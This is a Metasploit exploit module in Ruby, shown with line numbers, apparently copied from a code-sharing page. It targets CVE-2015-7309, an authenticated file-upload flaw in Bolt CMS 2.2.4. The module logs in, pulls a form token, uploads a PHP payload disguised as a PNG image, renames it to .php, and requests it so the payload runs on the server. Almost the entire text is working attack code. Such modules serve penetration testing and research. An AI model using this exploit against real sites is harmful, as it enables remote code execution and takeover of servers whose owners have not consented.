Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::Remote::HttpClient
10
  include Msf::Exploit::FileDropper
11

12
  def initialize(info = {})
13
    super(update_info(
14
      info,
15
      'Name'            => 'CMS Bolt File Upload Vulnerability',
16
      'Description'     => %q{
17
          Bolt CMS contains a flaw that allows an authenticated remote
18
          attacker to execute arbitrary PHP code. This module was
19
          tested on version 2.2.4.
20
        },
21
      'License'         => MSF_LICENSE,
22
      'Author'          =>
23
        [
24
          'Tim Coen', # Vulnerability Disclosure
25
          'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module
26
        ],
27
      'References'      =>
28
        [
29
          ['CVE', '2015-7309'],
30
          ['URL', 'http://blog.curesec.com/article/blog/Bolt-224-Code-Execution-44.html']
31
        ],
32
      'DisclosureDate'  => '2015-08-17',
33
      'Platform'        => 'php',
34
      'Arch'            => ARCH_PHP,
35
      'Targets'         => [['Bolt 2.2.4', {}]],
36
      'DefaultTarget'   => 0
37
    ))
38

39
    register_options(
40
      [
41
        OptString.new('TARGETURI',  [true, 'The base path to the web application', '/']),
42
        OptString.new('FOLDERNAME', [true, 'The theme path to the web application (default: base-2014)', 'base-2014']),
43
        OptString.new('USERNAME',   [true, 'The username to authenticate with']),
44
        OptString.new('PASSWORD',   [true, 'The password to authenticate with'])
45
      ])
46
  end
47

48
  def check
49
    cookie = bolt_login(username, password)
50
    return Exploit::CheckCode::Detected unless cookie
51

52
    res = send_request_cgi(
53
      'method'      => 'GET',
54
      'uri'         => normalize_uri(target_uri.path, 'bolt'),
55
      'cookie'      => cookie
56
    )
57

58
    if res && res.code == 200 && res.body.include?('Bolt 2.2.4</b>: Sophisticated, lightweight & simple CMS')
59
      return Exploit::CheckCode::Vulnerable
60
    end
61
    Exploit::CheckCode::Safe
62
  end
63

64
  def username
65
    datastore['USERNAME']
66
  end
67

68
  def password
69
    datastore['PASSWORD']
70
  end
71

72
  def fname
73
    datastore['FOLDERNAME']
74
  end
75

76
  def bolt_login(user, pass)
77
    res = send_request_cgi(
78
      'method'      => 'GET',
79
      'uri'         => normalize_uri(target_uri.path, 'bolt', 'login')
80
    )
81

82
    fail_with(Failure::Unreachable, 'No response received from the target.') unless res
83

84
    session_cookie = res.get_cookies
85
    vprint_status("Logging in...")
86
    res = send_request_cgi(
87
      'method'      => 'POST',
88
      'uri'         => normalize_uri(target_uri.path, 'bolt', 'login'),
89
      'cookie'      => session_cookie,
90
      'vars_post'   => {
91
        'username'  => user,
92
        'password'  => pass,
93
        'action'    => 'login'
94
      }
95
    )
96

97
    return res.get_cookies if res && res.code == 302 && res.redirection.to_s.include?('/bolt')
98
    nil
99
  end
100

101
  def get_token(cookie, fname)
102
    res = send_request_cgi(
103
      'method'      => 'GET',
104
      'uri'         => normalize_uri(target_uri, 'bolt', 'files', 'theme', fname),
105
      'cookie'      => cookie
106
    )
107

108
    if res && res.code == 200 && res.body =~ / name="form\[_token\]" value="(.+)" /
109
      return Regexp.last_match[1]
110
    end
111
    nil
112
  end
113

114
  def rename_payload(cookie, payload, fname)
115
    res = send_request_cgi(
116
      'method'      => 'POST',
117
      'uri'         => normalize_uri(target_uri.path, 'async', 'renamefile'),
118
      'vars_post'   => {
119
        'namespace' => 'theme',
120
        'parent'    => fname,
121
        'oldname'   => "#{payload}.png",
122
        'newname'   => "#{payload}.php"
123
      },
124
      'cookie'      => cookie
125
    )
126

127
    return true if res && res.code == 200 && res.body.include?('1')
128
    nil
129
  end
130

131
  def exploit
132
    vprint_status("Authenticating using #{username}:#{password}")
133

134
    cookie = bolt_login(username, password)
135
    fail_with(Failure::NoAccess, 'Unable to login. Verify USERNAME/PASSWORD or TARGETURI.') if cookie.nil?
136
    vprint_good("Authenticated with Bolt.")
137

138
    token = get_token(cookie, fname)
139
    fail_with(Failure::Unknown, 'No token found.') if token.nil?
140
    vprint_good("Token \"#{token}\" found.")
141

142
    vprint_status("Preparing payload...")
143
    payload_name = Rex::Text.rand_text_alpha_lower(10)
144

145
    data = Rex::MIME::Message.new
146
    data.add_part(payload.encoded, 'image/png', nil, "form-data; name=\"form[FileUpload][]\"; filename=\"#{payload_name}.png\"")
147
    data.add_part("#{token}", nil, nil, 'form-data; name="form[_token]"')
148
    post_data = data.to_s
149

150
    vprint_status("Uploading payload...")
151
    res = send_request_cgi(
152
      'method'    => 'POST',
153
      'uri'       => normalize_uri(target_uri, 'bolt', 'files', 'theme', fname),
154
      'ctype'     => "multipart/form-data; boundary=#{data.bound}",
155
      'data'      => post_data,
156
      'cookie'    => cookie
157
    )
158

159
    fail_with(Failure::Unknown, 'Unable to upload payload.') unless res && res.code == 302
160
    vprint_good("Uploaded the payload.")
161

162
    rename = rename_payload(cookie, payload_name, fname)
163
    fail_with(Failure::Unknown, 'No renamed filename.') if rename.nil?
164

165
    php_file_name = "#{payload_name}.php"
166
    payload_url = normalize_uri(target_uri.path, 'theme', fname, php_file_name)
167
    vprint_status("Parsed response.")
168

169
    register_files_for_cleanup(php_file_name)
170
    vprint_status("Executing the payload at #{payload_url}.")
171
    send_request_cgi(
172
      'uri'     => payload_url,
173
      'method'  => 'GET'
174
    )
175
  end
176
end
177

178